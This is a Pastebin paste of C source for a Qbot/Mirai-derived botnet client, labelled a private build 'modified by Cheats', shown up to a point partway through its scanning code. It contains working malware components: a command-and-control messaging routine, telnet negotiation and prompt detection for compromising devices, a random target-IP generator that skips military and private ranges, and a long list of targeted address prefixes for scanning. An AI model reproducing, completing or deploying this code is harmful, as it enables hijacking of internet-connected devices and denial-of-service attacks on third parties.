miraip0ts

Bone-super-private-serverside

Apr 30th, 2017
1,055
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 62.24 KB | None | 0 0
  1. /*           Public Build of My Bot
  2.                                                                                                        
  3. `7MM"""Yp,   .g8""8q. `7MN.   `7MF'`7MM"""YMM   .M"""bgd
  4.   MM    Yb .dP'    `YM. MMN.    M    MM    `7  ,MI    "Y
  5.   MM    dP dM'      `MM M YMb   M    MM   d    `MMb.    
  6.   MM"""bg. MM        MM M  `MN. M    MMmmMM      `YMMNq.
  7.   MM    `Y MM.      ,MP M   `MM.M    MM   Y  , .     `MM
  8.   MM    ,9 `Mb.    ,dP' M     YMM    MM     ,M Mb     dM
  9. .JMMmmmd9    `"bmmd"' .JML.    YM  .JMMmmmmMMM P"Ybmmd"  
  10.                                                          
  11.              [Qbot Modified By Cheats]
  12.                    
  13.  Do not Send To ANYONE please i beg you not to,
  14.  please delete it off your server after done cross compiling
  15. */
  16. #include "new.h"
  17. #define PR_SET_NAME 15
  18. #define SERVER_LIST_SIZE (sizeof(D3cOdeMePlS) / sizeof(unsigned char *))
  19. #define PAD_RIGHT 1
  20. #define PAD_ZERO 2
  21. #define PRINT_BUF_LEN 12
  22. #define CMD_IAC 255
  23. #define CMD_WILL 251
  24. #define CMD_WONT 252
  25. #define CMD_DO 253
  26. #define CMD_DONT 254
  27. #define OPT_SGA 3
  28. #define PHI 0x9e3779b9
  29. //MIRAI
  30. #define INET_ADDR(o1,o2,o3,o4) (htonl((o1 << 24) | (o2 << 16) | (o3 << 8) | (o4 << 0)))
  31. typedef uint32_t ipv4_t;
  32. //END OF MIRAI
  33. int D1ckSucka = 0, D1ckSuckaz = -1, userID = 1, HackerPrint(int sock, char *formatStr, ...);
  34. char *inet_ntoa(struct in_addr in);
  35. unsigned char macAddress[6] = {0};
  36. uint32_t *pids;
  37. uint32_t scanPid;
  38. uint32_t Phonepid;
  39. uint64_t numpids = 0;
  40. struct in_addr ourIP;
  41. static uint32_t Q[4096], c = 362436;
  42. void makeRandomStr(unsigned char *buf, int length);
  43. void init_rand(uint32_t x)
  44. {
  45. int i;
  46. Q[0] = x;
  47. Q[1] = x + PHI;
  48. Q[2] = x + PHI + PHI;
  49. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  50. }
  51. uint32_t rand_cmwc(void)
  52. {
  53. uint64_t t, a = 18782LL;
  54. static uint32_t i = 4095;
  55. uint32_t x, r = 0xfffffffe;
  56. i = (i + 1) & 4095;
  57. t = a * Q[i] + c;
  58. c = (uint32_t)(t >> 32);
  59. x = t + c;
  60. if (x < c) {
  61. x++;
  62. c++;
  63. }
  64. return (Q[i] = r - x);
  65. }
  66. void trim(char *str)
  67. {
  68. int i;
  69. int begin = 0;
  70. int end = strlen(str) - 1;
  71. while (isspace(str[begin])) begin++;
  72. while ((end >= begin) && isspace(str[end])) end--;
  73. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74. str[i - begin] = '\0';
  75. }
  76. static void printchar(unsigned char **str, int c)
  77. {
  78. if (str) {
  79. **str = c;
  80. ++(*str);
  81. }
  82. else (void)write(1, &c, 1);
  83. }
  84. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  85. {
  86. register int pc = 0, padchar = ' ';
  87. if (width > 0) {
  88. register int len = 0;
  89. register const unsigned char *ptr;
  90. for (ptr = string; *ptr; ++ptr) ++len;
  91. if (len >= width) width = 0;
  92. else width -= len;
  93. if (pad & PAD_ZERO) padchar = '0';
  94. }
  95. if (!(pad & PAD_RIGHT)) {
  96. for ( ; width > 0; --width) {
  97. printchar (out, padchar);
  98. ++pc;
  99. }
  100. }
  101. for ( ; *string ; ++string) {
  102. printchar (out, *string);
  103. ++pc;
  104. }
  105. for ( ; width > 0; --width) {
  106. printchar (out, padchar);
  107. ++pc;
  108. }
  109. return pc;
  110. }
  111. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  112. {
  113. unsigned char print_buf[PRINT_BUF_LEN];
  114. register unsigned char *s;
  115. register int t, neg = 0, pc = 0;
  116. register unsigned int u = i;
  117. if (i == 0) {
  118. print_buf[0] = '0';
  119. print_buf[1] = '\0';
  120. return prints (out, print_buf, width, pad);
  121. }
  122. if (sg && b == 10 && i < 0) {
  123. neg = 1;
  124. u = -i;
  125. }
  126. s = print_buf + PRINT_BUF_LEN-1;
  127. *s = '\0';
  128. while (u) {
  129. t = u % b;
  130. if( t >= 10 )
  131. t += letbase - '0' - 10;
  132. *--s = t + '0';
  133. u /= b;
  134. }
  135. if (neg) {
  136. if( width && (pad & PAD_ZERO) ) {
  137. printchar (out, '-');
  138. ++pc;
  139. --width;
  140. }
  141. else {
  142. *--s = '-';
  143. }
  144. }
  145. return pc + prints (out, s, width, pad);
  146. }
  147. static int print(unsigned char **out, const unsigned char *format, va_list args )
  148. {
  149. register int width, pad;
  150. register int pc = 0;
  151. unsigned char scr[2];
  152. for (; *format != 0; ++format) {
  153. if (*format == '%') {
  154. ++format;
  155. width = pad = 0;
  156. if (*format == '\0') break;
  157. if (*format == '%') goto out;
  158. if (*format == '-') {
  159. ++format;
  160. pad = PAD_RIGHT;
  161. }
  162. while (*format == '0') {
  163. ++format;
  164. pad |= PAD_ZERO;
  165. }
  166. for ( ; *format >= '0' && *format <= '9'; ++format) {
  167. width *= 10;
  168. width += *format - '0';
  169. }
  170. if( *format == 's' ) {
  171. register char *s = (char *)va_arg( args, intptr_t );
  172. pc += prints (out, s?s:"(null)", width, pad);
  173. continue;
  174. }
  175. if( *format == 'd' ) {
  176. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  177. continue;
  178. }
  179. if( *format == 'x' ) {
  180. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  181. continue;
  182. }
  183. if( *format == 'X' ) {
  184. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  185. continue;
  186. }
  187. if( *format == 'u' ) {
  188. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  189. continue;
  190. }
  191. if( *format == 'c' ) {
  192. scr[0] = (unsigned char)va_arg( args, int );
  193. scr[1] = '\0';
  194. pc += prints (out, scr, width, pad);
  195. continue;
  196. }
  197. }
  198. else {
  199. out:
  200. printchar (out, *format);
  201. ++pc;
  202. }
  203. }
  204. if (out) **out = '\0';
  205. va_end( args );
  206. return pc;
  207. }
  208. int szprintf(unsigned char *out, const unsigned char *format, ...)
  209. {
  210. va_list args;
  211. va_start( args, format );
  212. return print( &out, format, args );
  213. }
  214. int zprintf(const unsigned char *format, ...)
  215. {
  216. va_list args;
  217. va_start( args, format );
  218. return print( 0, format, args );
  219. }
  220. int HackerPrint(int sock, char *formatStr, ...)
  221. {
  222. unsigned char *textBuffer = malloc(2048);
  223. memset(textBuffer, 0, 2048);
  224. char *orig = textBuffer;
  225. va_list args;
  226. va_start(args, formatStr);
  227. print(&textBuffer, formatStr, args);
  228. va_end(args);
  229. orig[strlen(orig)] = '\n';
  230. //zprintf("buf: %s\n", orig);
  231. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  232. free(orig);
  233. return q;
  234. }
  235. static int *fdopen_pids;
  236. int fdpopen(unsigned char *program, register unsigned char *type)
  237. {
  238. register int iop;
  239. int pdes[2], fds, pid;
  240. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  241. if (pipe(pdes) < 0) return -1;
  242. if (fdopen_pids == NULL) {
  243. if ((fds = getdtablesize()) <= 0) return -1;
  244. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  245. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  246. }
  247. switch (pid = vfork())
  248. {
  249. case -1:
  250. close(pdes[0]);
  251. close(pdes[1]);
  252. return -1;
  253. case 0:
  254. if (*type == 'r') {
  255. if (pdes[1] != 1) {
  256. dup2(pdes[1], 1);
  257. close(pdes[1]);
  258. }
  259. close(pdes[0]);
  260. } else {
  261. if (pdes[0] != 0) {
  262. (void) dup2(pdes[0], 0);
  263. (void) close(pdes[0]);
  264. }
  265. (void) close(pdes[1]);
  266. }
  267. execl("/bin/sh", "sh", "-c", program, NULL);
  268. _exit(127);
  269. }
  270. if (*type == 'r') {
  271. iop = pdes[0];
  272. (void) close(pdes[1]);
  273. } else {
  274. iop = pdes[1];
  275. (void) close(pdes[0]);
  276. }
  277. fdopen_pids[iop] = pid;
  278. return (iop);
  279. }
  280. int fdpclose(int iop)
  281. {
  282. register int fdes;
  283. sigset_t omask, nmask;
  284. int pstat;
  285. register int pid;
  286. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  287. (void) close(iop);
  288. sigemptyset(&nmask);
  289. sigaddset(&nmask, SIGINT);
  290. sigaddset(&nmask, SIGQUIT);
  291. sigaddset(&nmask, SIGHUP);
  292. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  293. do {
  294. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  295. } while (pid == -1 && errno == EINTR);
  296. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  297. fdopen_pids[fdes] = 0;
  298. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  299. }
  300. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  301. {
  302. int got = 1, total = 0;
  303. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  304. return got == 0 ? NULL : buffer;
  305. }
  306. static const long hextable[] = {
  307. [0 ... 255] = -1,
  308. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  309. ['A'] = 10, 11, 12, 13, 14, 15,
  310. ['a'] = 10, 11, 12, 13, 14, 15
  311. };
  312. long parseHex(unsigned char *hex)
  313. {
  314. long ret = 0;
  315. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  316. return ret;
  317. }
  318. int wildString(const unsigned char* pattern, const unsigned char* string) {
  319. switch(*pattern)
  320. {
  321. case '\0': return *string;
  322. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  323. case '?': return !(*string && !wildString(pattern+1, string+1));
  324. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  325. }
  326. }
  327. int getHost(unsigned char *toGet, struct in_addr *i)
  328. {
  329. struct hostent *h;
  330. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  331. return 0;
  332. }
  333. void uppercase(unsigned char *str)
  334. {
  335. while(*str) { *str = toupper(*str); str++; }
  336. }
  337. void makeRandomStr(unsigned char *buf, int length)
  338. {
  339. int i = 0;
  340. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  341. }
  342. int recvLine(int socket, unsigned char *buf, int bufsize)
  343. {
  344. memset(buf, 0, bufsize);
  345. fd_set myset;
  346. struct timeval tv;
  347. tv.tv_sec = 30;
  348. tv.tv_usec = 0;
  349. FD_ZERO(&myset);
  350. FD_SET(socket, &myset);
  351. int selectRtn, retryCount;
  352. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  353. while(retryCount < 10)
  354. {
  355. HackerPrint(D1ckSucka, "PING");
  356. tv.tv_sec = 30;
  357. tv.tv_usec = 0;
  358. FD_ZERO(&myset);
  359. FD_SET(socket, &myset);
  360. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  361. retryCount++;
  362. continue;
  363. }
  364. break;
  365. }
  366. }
  367. unsigned char tmpchr;
  368. unsigned char *cp;
  369. int count = 0;
  370. cp = buf;
  371. while(bufsize-- > 1)
  372. {
  373. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  374. *cp = 0x00;
  375. return -1;
  376. }
  377. *cp++ = tmpchr;
  378. if(tmpchr == '\n') break;
  379. count++;
  380. }
  381. *cp = 0x00;
  382. // zprintf("recv: %s\n", cp);
  383. return count;
  384. }
  385. int hostname_to_ip(char * hostname , char* ip)
  386. {
  387. struct hostent *he;
  388. struct in_addr **addr_list;
  389. int i;
  390. if ( (he = gethostbyname( hostname ) ) == NULL)
  391. {
  392. // get the host info
  393. herror("gethostbyname");
  394. return 1;
  395. }
  396. addr_list = (struct in_addr **) he->h_addr_list;
  397. for(i = 0; addr_list[i] != NULL; i++)
  398. {
  399. //Return the first one;
  400. strcpy(ip , inet_ntoa(*addr_list[i]) );
  401. return 0;
  402. }
  403. return 1;
  404. }
  405. int connectTimeout(int fd, char *host, int port, int timeout)
  406. {
  407. struct sockaddr_in dest_addr;
  408. fd_set myset;
  409. struct timeval tv;
  410. socklen_t lon;
  411. int valopt;
  412. long arg = fcntl(fd, F_GETFL, NULL);
  413. arg |= O_NONBLOCK;
  414. fcntl(fd, F_SETFL, arg);
  415. dest_addr.sin_family = AF_INET;
  416. dest_addr.sin_port = htons(port);
  417. if(getHost(host, &dest_addr.sin_addr)) return 0;
  418. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  419. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  420. if (res < 0) {
  421. if (errno == EINPROGRESS) {
  422. tv.tv_sec = timeout;
  423. tv.tv_usec = 0;
  424. FD_ZERO(&myset);
  425. FD_SET(fd, &myset);
  426. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  427. lon = sizeof(int);
  428. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  429. if (valopt) return 0;
  430. }
  431. else return 0;
  432. }
  433. else return 0;
  434. }
  435. arg = fcntl(fd, F_GETFL, NULL);
  436. arg &= (~O_NONBLOCK);
  437. fcntl(fd, F_SETFL, arg);
  438. return 1;
  439. }
  440. int listFork()
  441. {
  442. uint32_t parent, *newpids, i;
  443. parent = fork();
  444. if (parent <= 0) return parent;
  445. numpids++;
  446. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  447. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  448. newpids[numpids - 1] = parent;
  449. free(pids);
  450. pids = newpids;
  451. return parent;
  452. }
  453. int negotiate(int sock, unsigned char *buf, int len)
  454. {
  455. unsigned char c;
  456. switch (buf[1]) {
  457. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  458. case CMD_WILL:
  459. case CMD_WONT:
  460. case CMD_DO:
  461. case CMD_DONT:
  462. c = CMD_IAC;
  463. send(sock, &c, 1, MSG_NOSIGNAL);
  464. if (CMD_WONT == buf[1]) c = CMD_DONT;
  465. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  466. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  467. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  468. send(sock, &c, 1, MSG_NOSIGNAL);
  469. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  470. break;
  471. default:
  472. break;
  473. }
  474. return 0;
  475. }
  476.  
  477. int matchPrompt(char *bufStr)
  478. {
  479. char *prompts = ":>%$#\0";
  480. int bufLen = strlen(bufStr);
  481. int i, q = 0;
  482. for(i = 0; i < strlen(prompts); i++)
  483. {
  484. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  485. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  486. }
  487. return 0;
  488. }
  489. static ipv4_t get_random_ip(void)
  490. {
  491.     uint32_t tmp;
  492.     uint8_t o1, o2, o3, o4;
  493.  
  494.     do
  495.     {
  496.         tmp = rand_cmwc();
  497.  
  498.         o1 = tmp & 0xff;
  499.         o2 = (tmp >> 8) & 0xff;
  500.         o3 = (tmp >> 16) & 0xff;
  501.         o4 = (tmp >> 24) & 0xff;
  502.     }
  503.     while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback
  504.           (o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space
  505.           (o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company
  506.           (o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company
  507.           (o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service
  508.           (o1 == 10) ||                             // 10.0.0.0/8       - Internal network
  509.           (o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network
  510.           (o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network
  511.           (o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved
  512.           (o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved
  513.           (o1 == 208 && o2 > 67) ||                 // whole sale
  514.           (o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use
  515.           (o1 >= 224) ||                            // 224.*.*.*+       - Multicast
  516.           (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
  517.     );
  518.  
  519. char ip[16];
  520. szprintf(ip, "%d.%d.%d.%d", o1,  o2, o3, o4);
  521.  
  522.     return INET_ADDR(o1,o2,o3,o4);
  523. }
  524.  
  525. static uint8_t ipState[4] = {0};
  526. in_addr_t HackerScan1()
  527. {
  528. ipState[0] = 0;
  529. ipState[1] = 0;
  530. ipState[2] = 0;
  531. ipState[3] = 0;
  532. ipState[0] = rand() % 223;
  533. ipState[1] = rand() % 255;
  534. ipState[2] = rand() % 255;
  535. ipState[3] = rand() % 255;
  536. int randnum = rand() % 152;
  537. char ip[16];
  538. if(randnum == 0)
  539. {
  540. szprintf(ip, "112.5.%d.%d", ipState[2], ipState[3]);
  541. }
  542. if(randnum == 1)
  543. {
  544. szprintf(ip, "117.165.%d.%d", ipState[2], ipState[3]);
  545. }
  546. if(randnum == 2)
  547. {
  548. szprintf(ip, "85.3.%d.%d", ipState[2], ipState[3]);
  549. }
  550. if(randnum == 3)
  551. {
  552. szprintf(ip, "41.252.%d.%d", ipState[2], ipState[3]);
  553. }
  554. if(randnum == 4)
  555. {
  556. szprintf(ip, "104.55.%d.%d", ipState[2], ipState[3]);
  557. }
  558. if(randnum == 5)
  559. {
  560. szprintf(ip, "78.186.%d.%d", ipState[2], ipState[3]);
  561. }
  562. if(randnum == 6)
  563. {
  564. szprintf(ip, "78.189.%d.%d", ipState[2], ipState[3]);
  565. }
  566. if(randnum == 7)
  567. {
  568. szprintf(ip, "221.120.%d.%d", ipState[2], ipState[3]);
  569. }
  570. if(randnum == 8)
  571. {
  572. szprintf(ip, "88.5.%d.%d", ipState[2], ipState[3]);
  573. }
  574. if(randnum == 9)
  575. {
  576. szprintf(ip, "41.254.%d.%d", ipState[2], ipState[3]);
  577. }
  578. if(randnum == 10)
  579. {
  580. szprintf(ip, "103.20.%d.%d", ipState[2], ipState[3]);
  581. }
  582. if(randnum == 11)
  583. {
  584. szprintf(ip, "103.47.%d.%d", ipState[2], ipState[3]);
  585. }
  586. if(randnum == 12)
  587. {
  588. szprintf(ip, "103.57.%d.%d", ipState[2], ipState[3]);
  589. }
  590. if(randnum == 13)
  591. {
  592. szprintf(ip, "45.117.%d.%d", ipState[2], ipState[3]);
  593. }
  594. if(randnum == 14)
  595. {
  596. szprintf(ip, "101.51.%d.%d", ipState[2], ipState[3]);
  597. }
  598. if(randnum == 15)
  599. {
  600. szprintf(ip, "137.59.%d.%d", ipState[2], ipState[3]);
  601. }
  602. if(randnum == 16)
  603. {
  604. szprintf(ip, "14.204.%d.%d", ipState[2], ipState[3]);
  605. }
  606. if(randnum == 17)
  607. {
  608. szprintf(ip, "27.50.%d.%d", ipState[2], ipState[3]);
  609. }
  610. if(randnum == 18)
  611. {
  612. szprintf(ip, "27.54.%d.%d", ipState[2], ipState[3]);
  613. }
  614. if(randnum == 19)
  615. {
  616. szprintf(ip, "27.98.%d.%d", ipState[2], ipState[3]);
  617. }
  618. if(randnum == 20)
  619. {
  620. szprintf(ip, "36.32.%d.%d", ipState[2], ipState[3]);
  621. }
  622. if(randnum == 21)
  623. {
  624. szprintf(ip, "36.248.%d.%d", ipState[2], ipState[3]);
  625. }
  626. if(randnum == 22)
  627. {
  628. szprintf(ip, "39.64.%d.%d", ipState[2], ipState[3]);
  629. }
  630. if(randnum == 23)
  631. {
  632. szprintf(ip, "43.253.%d.%d", ipState[2], ipState[3]);
  633. }
  634. if(randnum == 24)
  635. {
  636. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  637. }
  638. if(randnum == 25)
  639. {
  640. szprintf(ip, "163.53.%d.%d", ipState[2], ipState[3]);
  641. }
  642. if(randnum == 26)
  643. {
  644. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  645. }
  646. if(randnum == 27)
  647. {
  648. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  649. }
  650. if(randnum == 28)
  651. {
  652. szprintf(ip, "123.25.%d.%d", ipState[2], ipState[3]);
  653. }
  654. if(randnum == 29)
  655. {
  656. szprintf(ip, "103.54.%d.%d", ipState[2], ipState[3]);
  657. }
  658. if(randnum == 30)
  659. {
  660. szprintf(ip, "27.255.%d.%d", ipState[2], ipState[3]);
  661. }
  662. if(randnum == 31)
  663. {
  664. szprintf(ip, "103.204.%d.%d", ipState[2], ipState[3]);
  665. }
  666. if(randnum == 32)
  667. {
  668. szprintf(ip, "123.24.%d.%d", ipState[2], ipState[3]);
  669. }
  670. if(randnum == 33)
  671. {
  672. szprintf(ip, "113.191.%d.%d", ipState[2], ipState[3]);
  673. }
  674. if(randnum == 34)
  675. {
  676. szprintf(ip, "113.188.%d.%d", ipState[2], ipState[3]);
  677. }
  678. if(randnum == 34)
  679. {
  680. szprintf(ip, "113.189.%d.%d", ipState[2], ipState[3]);
  681. }
  682. if(randnum == 35)
  683. {
  684. szprintf(ip, "14.160.%d.%d", ipState[2], ipState[3]);
  685. }
  686. if(randnum == 36)
  687. {
  688. szprintf(ip, "14.161.%d.%d", ipState[2], ipState[3]);
  689. }
  690. if(randnum == 37)
  691. {
  692. szprintf(ip, "14.162.%d.%d", ipState[2], ipState[3]);
  693. }
  694. if(randnum == 38)
  695. {
  696. szprintf(ip, "14.163.%d.%d", ipState[2], ipState[3]);
  697. }
  698. if(randnum == 39)
  699. {
  700. szprintf(ip, "14.164.%d.%d", ipState[2], ipState[3]);
  701. }
  702. if(randnum == 40)
  703. {
  704. szprintf(ip, "14.165.%d.%d", ipState[2], ipState[3]);
  705. }
  706. if(randnum == 41)
  707. {
  708. szprintf(ip, "14.166.%d.%d", ipState[2], ipState[3]);
  709. }
  710. if(randnum == 42)
  711. {
  712. szprintf(ip, "14.167.%d.%d", ipState[2], ipState[3]);
  713. }
  714. if(randnum == 43)
  715. {
  716. szprintf(ip, "14.168.%d.%d", ipState[2], ipState[3]);
  717. }
  718. if(randnum == 44)
  719. {
  720. szprintf(ip, "14.169.%d.%d", ipState[2], ipState[3]);
  721. }
  722. if(randnum == 45)
  723. {
  724. szprintf(ip, "14.170.%d.%d", ipState[2], ipState[3]);
  725. }
  726. if(randnum == 46)
  727. {
  728. szprintf(ip, "14.171.%d.%d", ipState[2], ipState[3]);
  729. }
  730. if(randnum == 47)
  731. {
  732. szprintf(ip, "14.172.%d.%d", ipState[2], ipState[3]);
  733. }
  734. if(randnum == 48)
  735. {
  736. szprintf(ip, "14.173.%d.%d", ipState[2], ipState[3]);
  737. }
  738. if(randnum == 49)
  739. {
  740. szprintf(ip, "14.174.%d.%d", ipState[2], ipState[3]);
  741. }
  742. if(randnum == 50)
  743. {
  744. szprintf(ip, "14.175.%d.%d", ipState[2], ipState[3]);
  745. }
  746. if(randnum == 51)
  747. {
  748. szprintf(ip, "14.176.%d.%d", ipState[2], ipState[3]);
  749. }
  750. if(randnum == 52)
  751. {
  752. szprintf(ip, "14.177.%d.%d", ipState[2], ipState[3]);
  753. }
  754. if(randnum == 53)
  755. {
  756. szprintf(ip, "14.178.%d.%d", ipState[2], ipState[3]);
  757. }
  758. if(randnum == 54)
  759. {
  760. szprintf(ip, "14.179.%d.%d", ipState[2], ipState[3]);
  761. }
  762. if(randnum == 55)
  763. {
  764. szprintf(ip, "14.180.%d.%d", ipState[2], ipState[3]);
  765. }
  766. if(randnum == 56)
  767. {
  768. szprintf(ip, "14.181.%d.%d", ipState[2], ipState[3]);
  769. }
  770. if(randnum == 57)
  771. {
  772. szprintf(ip, "14.182.%d.%d", ipState[2], ipState[3]);
  773. }
  774. if(randnum == 58)
  775. {
  776. szprintf(ip, "14.183.%d.%d", ipState[2], ipState[3]);
  777. }
  778. if(randnum == 59)
  779. {
  780. szprintf(ip, "14.184.%d.%d", ipState[2], ipState[3]);
  781. }
  782. if(randnum == 60)
  783. {
  784. szprintf(ip, "14.185.%d.%d", ipState[2], ipState[3]);
  785. }
  786. if(randnum == 61)
  787. {
  788. szprintf(ip, "14.186.%d.%d", ipState[2], ipState[3]);
  789. }
  790. if(randnum == 62)
  791. {
  792. szprintf(ip, "14.187.%d.%d", ipState[2], ipState[3]);
  793. }
  794. if(randnum == 63)
  795. {
  796. szprintf(ip, "14.188.%d.%d", ipState[2], ipState[3]);
  797. }
  798. if(randnum == 64)
  799. {
  800. szprintf(ip, "14.189.%d.%d", ipState[2], ipState[3]);
  801. }
  802. if(randnum == 65)
  803. {
  804. szprintf(ip, "14.190.%d.%d", ipState[2], ipState[3]);
  805. }
  806. if(randnum == 66)
  807. {
  808. szprintf(ip, "14.191.%d.%d", ipState[2], ipState[3]);
  809. }
  810. if(randnum == 67)
  811. {
  812. szprintf(ip, "45.121.%d.%d", ipState[2], ipState[3]);
  813. }
  814. if(randnum == 68)
  815. {
  816. szprintf(ip, "45.120.%d.%d", ipState[2], ipState[3]);
  817. }
  818. if(randnum == 69)
  819. {
  820. szprintf(ip, "45.115.%d.%d", ipState[2], ipState[3]);
  821. }
  822. if(randnum == 70)
  823. {
  824. szprintf(ip, "43.252.%d.%d", ipState[2], ipState[3]);
  825. }
  826. if(randnum == 71)
  827. {
  828. szprintf(ip, "43.230.%d.%d", ipState[2], ipState[3]);
  829. }
  830. if(randnum == 72)
  831. {
  832. szprintf(ip, "43.240.%d.%d", ipState[2], ipState[3]);
  833. }
  834. if(randnum == 73)
  835. {
  836. szprintf(ip, "43.245.%d.%d", ipState[2], ipState[3]);
  837. }
  838. if(randnum == 74)
  839. {
  840. szprintf(ip, "41.174.%d.%d", ipState[2], ipState[3]);
  841. }
  842. if(randnum == 75)
  843. {
  844. szprintf(ip, "45.127.%d.%d", ipState[2], ipState[3]);
  845. }
  846. if(randnum == 76)
  847. {
  848. szprintf(ip, "103.30.%d.%d", ipState[2], ipState[3]);
  849. }
  850. if(randnum == 77)
  851. {
  852. szprintf(ip, "123.16.%d.%d", ipState[2], ipState[3]);
  853. }
  854. if(randnum == 78)
  855. {
  856. szprintf(ip, "202.44.%d.%d", ipState[2], ipState[3]);
  857. }
  858. if(randnum == 79)
  859. {
  860. szprintf(ip, "116.93.%d.%d", ipState[2], ipState[3]);
  861. }
  862. if(randnum == 80)
  863. {
  864. szprintf(ip, "41.253.%d.%d", ipState[2], ipState[3]);
  865. }
  866. if(randnum == 81)
  867. {
  868. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  869. }
  870. if(randnum == 82)
  871. {
  872. szprintf(ip, "113.190.%d.%d", ipState[2], ipState[3]);
  873. }
  874. if(randnum == 83)
  875. {
  876. szprintf(ip, "112.196.%d.%d", ipState[2], ipState[3]);
  877. }
  878. if(randnum == 84)
  879. {
  880. szprintf(ip, "113.178.%d.%d", ipState[2], ipState[3]);
  881. }
  882. if(randnum == 85)
  883. {
  884. szprintf(ip, "112.45.%d.%d", ipState[2], ipState[3]);
  885. }
  886. if(randnum == 86)
  887. {
  888. szprintf(ip, "183.223.%d.%d", ipState[2], ipState[3]);
  889. }
  890. if(randnum == 87)
  891. {
  892. szprintf(ip, "116.71.%d.%d", ipState[2], ipState[3]);
  893. }
  894. if(randnum == 88)
  895. {
  896. szprintf(ip, "103.44.%d.%d", ipState[2], ipState[3]);
  897. }
  898. if(randnum == 89)
  899. {
  900. szprintf(ip, "110.235.%d.%d", ipState[2], ipState[3]);
  901. }
  902. if(randnum == 90)
  903. {
  904. szprintf(ip, "124.253.%d.%d", ipState[2], ipState[3]);
  905. }
  906. if(randnum == 91)
  907. {
  908. szprintf(ip, "211.237.%d.%d", ipState[2], ipState[3]);
  909. }
  910. if(randnum == 92)
  911. {
  912. szprintf(ip, "117.175.%d.%d", ipState[2], ipState[3]);
  913. }
  914. if(randnum == 93)
  915. {
  916. szprintf(ip, "117.173.%d.%d", ipState[2], ipState[3]);
  917. }
  918. if(randnum == 94)
  919. {
  920. szprintf(ip, "111.9.%d.%d", ipState[2], ipState[3]);
  921. }
  922. if(randnum == 95)
  923. {
  924. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  925. }
  926. if(randnum == 96)
  927. {
  928. szprintf(ip, "113.174.%d.%d", ipState[2], ipState[3]);
  929. }
  930. if(randnum == 97)
  931. {
  932. szprintf(ip, "222.252.%d.%d", ipState[2], ipState[3]);
  933. }
  934. if(randnum == 98)
  935. {
  936. szprintf(ip, "113.160.%d.%d", ipState[2], ipState[3]);
  937. }
  938. if(randnum == 99)
  939. {
  940. szprintf(ip, "113.161.%d.%d", ipState[2], ipState[3]);
  941. }
  942. if(randnum == 100)
  943. {
  944. szprintf(ip, "113.162.%d.%d", ipState[2], ipState[3]);
  945. }
  946. if(randnum == 101)
  947. {
